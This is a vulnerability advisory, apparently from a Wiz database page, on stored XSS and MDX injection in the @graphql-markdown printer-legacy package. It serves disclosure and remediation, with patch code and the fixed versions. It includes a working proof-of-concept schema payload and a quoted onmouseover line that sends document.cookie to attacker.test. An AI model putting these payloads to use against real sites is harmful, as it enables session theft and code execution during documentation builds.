
PEACH
Un cadre d’isolation des locataires
specifiedByURL is interpolated into MDX/HTML attributes without escaping| Field | Value |
|---|---|
| Package | @graphql-markdown/printer-legacy (npm, pkg:npm/%40graphql-markdown/printer-legacy) |
| Repository | https://github.com/graphql-markdown/graphql-markdown |
| Component | printSpecification (packages/printer-legacy/src/graphql/scalar.ts) |
| Vulnerability class | Stored XSS / MDX attribute and element injection |
| CWE | CWE-79 |
| Severity (reporter assessment) | High |
| Affected versions | <= 1.17.0 (unfixed upstream at time of writing) |
| Verified against | Source at 5e2234e8f7c983f90b3b75a783c04187b11df7b7; published npm artifact 1.17.0 (corresponds to repo commit 35c3685d) |
| API surface | Public documented API — Printer.printType |
| Affected in default configuration | Yes — the stock formatter (packages/formatters/src/defaults.ts) is the default and performs the unescaped interpolation; no non-standard Printer flags are required |
| CVE / GHSA | None assigned (unknown) |
printSpecification reads GraphQLScalarType.specifiedByURL — a value that comes straight from the GraphQL schema handed to the printer — and passes it unchanged to options.formatMDXSpecifiedByLink. The stock formatter interpolates that string twice into HTML attributes (href and title), and the Docusaurus formatter interpolates it into a JSX attribute (<SpecifiedBy url="${url}"/>). There is no URL parsing, scheme allow-listing, or attribute encoding anywhere between the schema value and the emitted markup; the only check on the value is typeof string.
A schema author (or anyone who controls a remotely loaded schema) can therefore put quotes and MDX metacharacters in @specifiedBy(url: ...) and break out of the attribute, adding arbitrary elements and event handlers to the generated scalar documentation page. In a consuming application this means the party who supplies the schema — remote introspection endpoint, partner/third-party SDL, user-submitted schema in a docs pipeline — gains script execution on the published documentation site, and, with the MDX pipeline, code execution during the docs build.
Both formatter paths reached from this value are unsafe:
href/title interpolation -> unsafe, packages/formatters/src/defaults.ts:119-121<SpecifiedBy url="${url}"/> -> unsafe, packages/formatters/src/docusaurus/index.ts:115-117An attacker who influences the documented schema gains script execution in the browser of every visitor to the published documentation site, in that site's origin and with that visitor's session — the classic stored-XSS consequence set (session/cookie theft, authenticated actions against the docs origin, page defacement). With the Docusaurus/MDX path the injected expression is also evaluated at build time by the MDX compiler, which is code execution inside the documentation build, not only in the visitor's browser.
The new capability is specific: without this bug, a schema author controls only the target of a specification link that the page renders. With it, they control the surrounding markup — arbitrary attributes, event handlers, and new JSX elements on a page that the documentation site owner publishes under their own domain.
Scoring note: this report does not carry a CVSS vector — no vector or numeric score was produced for this finding, and exploitability depends on the consuming application's data flow (specifically, on whether the schema being documented is trusted). Consumers that document only first-party schemas they fully control, and consumers whose schemas contain no @specifiedBy scalars, are not exposed in practice; consumers that document remote, partner, or user-supplied schemas are.
docs/advanced/schema-loading.md).@specifiedBy(url: ...). GraphQL applies no validation to that argument beyond it being a String, and this package only checks typeof string.Printer.printType, which reaches printScalarMetadata -> printSpecification for scalars.Printer flags are needed. packages/printer-legacy/docs/graphql/scalar.md documents that scalar metadata prints the specification URL, and the schema-loading docs describe remote schemas; neither documents a trust requirement on the schema, and the behaviour is not documented as the caller's responsibility.const url = type.specifiedByURL; (packages/printer-legacy/src/graphql/scalar.ts:24-33).packages/printer-legacy/src/graphql/scalar.ts:35-37).href and title attributes: href="${url}" (packages/formatters/src/defaults.ts:119-121); the Docusaurus formatter interpolates it into a JSX attribute: <SpecifiedBy url="${url}"/> (packages/formatters/src/docusaurus/index.ts:115-117).printScalarMetadata calls printSpecification (packages/printer-legacy/src/graphql/scalar.ts:48-52), the metadata dispatch in Printer.printTypeMetadata routes scalars there (packages/printer-legacy/src/printer.ts:461-481), and Printer.printType composes that metadata section into the page (packages/printer-legacy/src/printer.ts:609). The main generator reaches the same entry point: @graphql-markdown/core@1.22.0 calls printer.printType in its renderer (renderer.js:518 in the published artifact).
Please note the source comment on printSpecification stating it is "used only by unit tests; not part of the production public API". That comment is inaccurate: the call chain above is the production documentation pipeline, and the reproduction below drives it through the public Printer.printType.packages/printer-legacy/src/graphql/scalar.ts, lines 20-38 at 5e2234e8f7c983f90b3b75a783c04187b11df7b7:
const url = type.specifiedByURL;
return {
title: options.formatMDXSpecifiedByLink!(url), // sink: raw schema string reaches the formatter
level: 3,
};The formatter side, where the string lands in markup, is packages/formatters/src/defaults.ts:119-121 (href="${url}" plus the same value in title) and packages/formatters/src/docusaurus/index.ts:115-117 (<SpecifiedBy url="${url}"/>). No escaping or URL validation occurs at either site.
Verified dynamically against the published npm artifact @graphql-markdown/printer-legacy@1.17.0 (tarball from registry.npmjs.org) with release-matched siblings @graphql-markdown/formatters@1.1.0, @graphql-markdown/graphql@1.2.5, @graphql-markdown/utils@1.13.0, @graphql-markdown/types@1.14.0, and graphql@16.14.2.
Steps:
@specifiedBy URL.Printer.init(schema), then Printer.printType('Evil', scalar).import { buildSchema } from 'graphql';
import { Printer } from '@graphql-markdown/printer-legacy';
const schema = buildSchema('scalar Evil @specifiedBy(url: "\\"/><img src=\\"x\\" onError={() => alert(document.domain)} /><a href=\\"")');
await Printer.init(schema);
console.log(await Printer.printType('Evil', schema.getType('Evil')));Observed during verification:
graphql-js applies no validation to @specifiedBy(url:), and the payload survives the realistic remote-delivery path byte-for-byte: introspectionFromSchema -> buildClientSchema preserved it intact.onmouseover="fetch(\https://attacker.test/${document.cookie}\`)"` — stored XSS in the published page.JSXExpressionContainer), and compiling the generated MDX with the MDX compiler plus server-side React rendering executed the attacker expression (a sentinel global was set; the control render left it undefined). A second payload achieved full element breakout: it closed <SpecifiedBy/>, injected a new element whose expression evaluated, and rendered it into the page — arbitrary JSX/code execution during the docs build.1.15.0's bundled formatter contains the identical unescaped interpolation, and current main (1.18.0, unreleased) still interpolates without escaping, so <= 1.17.0 is affected and the issue is unfixed upstream.specifiedBy URL containing quotes or MDX metacharacters is rejected, or encoded as text inside a safe link attribute.href/title (and into the JSX url prop), allowing attribute breakout, injected event handlers, and injected JSX elements.Treat specifiedByURL as untrusted input: validate it as a URL with an allow-listed scheme before use, and encode it for the attribute context it is interpolated into (or have the formatters pass it as a safely encoded prop rather than string-splicing it).
const ALLOWED_PROTOCOLS = new Set(["http:", "https:"]);
const url = type.specifiedByURL;
let safeURL: string | undefined = undefined;
try {
const parsed = new URL(url);
if (ALLOWED_PROTOCOLS.has(parsed.protocol)) {
safeURL = parsed.toString();
}
} catch {
safeURL = undefined;
}
if (typeof safeURL !== "string") {
return undefined; // match whatever "no specification section" shape this function already returns
}
return {
title: options.formatMDXSpecifiedByLink!(safeURL),
level: 3,
};A defence-in-depth second edit, in the formatters' own idiom, is to attribute-encode at the interpolation sites rather than relying on every caller: escape ", ', <, >, & in packages/formatters/src/defaults.ts:119-121, and escape or reject ", {, } in the Docusaurus <SpecifiedBy url="${url}"/> interpolation at packages/formatters/src/docusaurus/index.ts:115-117.
Notes:
typeof string test only; it is a type guard, not a security control, and should not be relied on for this.printSpecification is test-only is worth correcting in the same change; it is reachable from Printer.printType and from the main generator, and the comment invites the fix to be deprioritised.printer-legacy scalar unit tests (exact spec path not verified): assert that a scalar whose @specifiedBy URL contains ", <, >, {, } — for example "/><img src="x" onError={...} /><a href=" — yields output in which the value is encoded or the specification section is omitted, and in which no additional element or attribute appears in the parsed markup. Add the equivalent assertion for the Docusaurus formatter so the JSX prop cannot gain extra props or close its own element.Scope confirmed on main (96c28b8a). This advisory also covers two duplicate reports of the same root cause, GHSA-2w67-98j2-r786 and GHSA-pm35-rm7r-xj4q. The scalar's specifiedByURL reaches formatMDXSpecifiedByLink unchanged, and the formatters write it into markup without encoding it:
@graphql-markdown/formatters shared defaults (packages/formatters/src/defaults.ts): written raw into the href and title attributes. Used by the default formatter and the mdx, starlight, fumadocs, vocs, docfx, hugo and mdbook presets.@graphql-markdown/formatters/docusaurus, re-exported as @graphql-markdown/docusaurus/mdx, the Docusaurus plugin's default: written raw into <SpecifiedBy url="…"/>.mkdocs and honkit presets output a plain Markdown link or plain text. A " cannot break out there, but any URL scheme (for example javascript:) is accepted.
Fix. printSpecification in @graphql-markdown/printer-legacy will accept only absolute http:/https: URLs; any other value prints no specification link. As a second layer, each built-in formatter will encode the URL for the context it writes it into, so custom formatters calling them stay safe. Patched versions: @graphql-markdown/printer-legacy 1.20.0, @graphql-markdown/formatters 1.2.3, @graphql-markdown/docusaurus 1.39.3.
Workaround until you upgrade: only generate docs from schemas you trust, or supply a custom formatter whose formatMDXSpecifiedByLink validates and encodes the URL.Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."